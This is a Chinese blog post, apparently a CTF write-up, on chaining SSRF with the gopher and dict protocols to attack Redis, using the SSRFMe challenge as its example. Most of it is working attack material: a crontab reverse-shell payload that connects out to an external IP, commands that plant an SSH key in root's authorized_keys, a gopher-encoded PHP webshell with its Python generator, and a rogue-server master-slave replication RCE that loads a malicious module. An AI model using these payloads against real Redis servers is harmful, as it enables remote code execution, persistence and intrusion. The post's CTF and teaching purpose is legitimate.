ssrf中gopher+redis的利用总结

crontab

只能在Centos上使用,原因:

1.redis默认写入文件的权限为644,而ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600,否则会报错。而Centos的定时任务文件/var/spool/cron/<username>权限644也可执行。

2.因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

3.不同系统中crontrab定时文件位置也会不同Centos的定时任务文件在/var/spool/cron/<username>Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>,Centos和Ubuntu均存在的(需要root权限)/etc/crontab ,高版本的redis默认启动是redis权限,所以无法利用。

payload

1
2
3
4
5
set xxx "\n\n* * * * * bash -i>& /dev/tcp/10.133.164.81/6666 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

写入公钥

向/root/.ssh中写入公钥即可用ssh登陆服务器,高版本redis少有root权限,难以利用

生成私钥

1
ssh-keygen -t rsa

redis命令

1
2
3
4
5
6
flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

写入webshell

比较常用的方法,以[网鼎杯 2020 玄武组]SSRFMe为例

访问index.php,过滤127.0.0.1,使用http://0.0.0.0绕过,提示要访问hint.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}

}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

读取hint.php

1
http://cb0f5ef6-1668-4620-a764-3af2cac0b19b.node3.buuoj.cn/?url=http://0.0.0.0/hint.php

hint.php

1
2
3
4
5
6
7
8
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
"

利用dict://访问6379端口,存在redis,前面给出了密码为root

1
http://cb0f5ef6-1668-4620-a764-3af2cac0b19b.node3.buuoj.cn/?url=dict://0.0.0.0:6379

利用gopher协议,生成payload

1
2
3
C:\Users\dell\Desktop
> python2 G:\工具\ssrf工具\gopherwriteshell2.py
gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import urllib
protocol="gopher://"
ip="10.0.231.11" // 运行有redis的主机ip
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

利用gopher协议,生成payload

把生成的payload进行url编码

1
http://cb0f5ef6-1668-4620-a764-3af2cac0b19b.node3.buuoj.cn/?url=gopher://0.0.0.0:6379/_%25%32%41%32%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%41%55%54%48%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%72%6f%6f%74%25%30%44%25%30%41%25%32%41%31%25%30%44%25%30%41%25%32%34%38%25%30%44%25%30%41%66%6c%75%73%68%61%6c%6c%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%25%30%44%25%30%41%31%25%30%44%25%30%41%25%32%34%33%32%25%30%44%25%30%41%25%30%41%25%30%41%25%33%43%25%33%46%70%68%70%25%32%30%73%79%73%74%65%6d%25%32%38%25%32%32%63%61%74%25%32%30%2f%66%6c%61%67%25%32%32%25%32%39%25%33%42%25%33%46%25%33%45%25%30%41%25%30%41%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%64%69%72%25%30%44%25%30%41%25%32%34%31%33%25%30%44%25%30%41%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%30%25%30%44%25%30%41%64%62%66%69%6c%65%6e%61%6d%65%25%30%44%25%30%41%25%32%34%39%25%30%44%25%30%41%73%68%65%6c%6c%2e%70%68%70%25%30%44%25%30%41%25%32%41%31%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%73%61%76%65%25%30%44%25%30%41

写入成功,得到flag

主从复制rce

在docker环境下,一个单一的容器中不会有除redis以外的任何服务存在,如ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下可以利用主从复制执行命令。

主从复制概念

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。建立主从关系只需要在从节点操作就行了,主节点不用任何操作。

主从复制作用

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

利用

还是以[网鼎杯 2020 玄武组]SSRFMe为例

需要先下载两个工具

https://github.com/xmsec/redis-ssrf

https://github.com/n0b0dyCN/redis-rogue-server

实际用到的只有第一个链接中的rogue-server.pyssrf-redis.py,还有第二个链接中的exp.so,把这三个文件放到一个文件夹里即可

修改ssrf-redis.py中的一些参数

lhost改为vps地址,6666端口为rogue-server.py的运行端口,command为要执行的命令

ip改为符合要求的0.0.0.0

密码改为root

生成payload

运行rogue-server.py,建立从节点

将生成的payload进行url编码后访问,得到flag

1
http://44677c4e-0255-433c-aa69-f1ebedb79c08.node3.buuoj.cn/?url=gopher://0.0.0.0:6379/_%25%32%41%32%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%41%55%54%48%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%72%6f%6f%74%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%37%25%30%44%25%30%41%53%4c%41%56%45%4f%46%25%30%44%25%30%41%25%32%34%31%35%25%30%44%25%30%41%31%31%38%2e%31%39%35%2e%31%36%36%2e%31%33%38%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%36%36%36%36%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%43%4f%4e%46%49%47%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%53%45%54%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%64%69%72%25%30%44%25%30%41%25%32%34%35%25%30%44%25%30%41%2f%74%6d%70%2f%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%30%25%30%44%25%30%41%64%62%66%69%6c%65%6e%61%6d%65%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%65%78%70%2e%73%6f%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%4d%4f%44%55%4c%45%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%4c%4f%41%44%25%30%44%25%30%41%25%32%34%31%31%25%30%44%25%30%41%2f%74%6d%70%2f%65%78%70%2e%73%6f%25%30%44%25%30%41%25%32%41%32%25%30%44%25%30%41%25%32%34%31%31%25%30%44%25%30%41%73%79%73%74%65%6d%2e%65%78%65%63%25%30%44%25%30%41%25%32%34%31%34%25%30%44%25%30%41%63%61%74%25%32%34%25%37%42%49%46%53%25%37%44%2f%66%6c%61%67%25%30%44%25%30%41%25%32%41%31%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%71%75%69%74%25%30%44%25%30%41


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!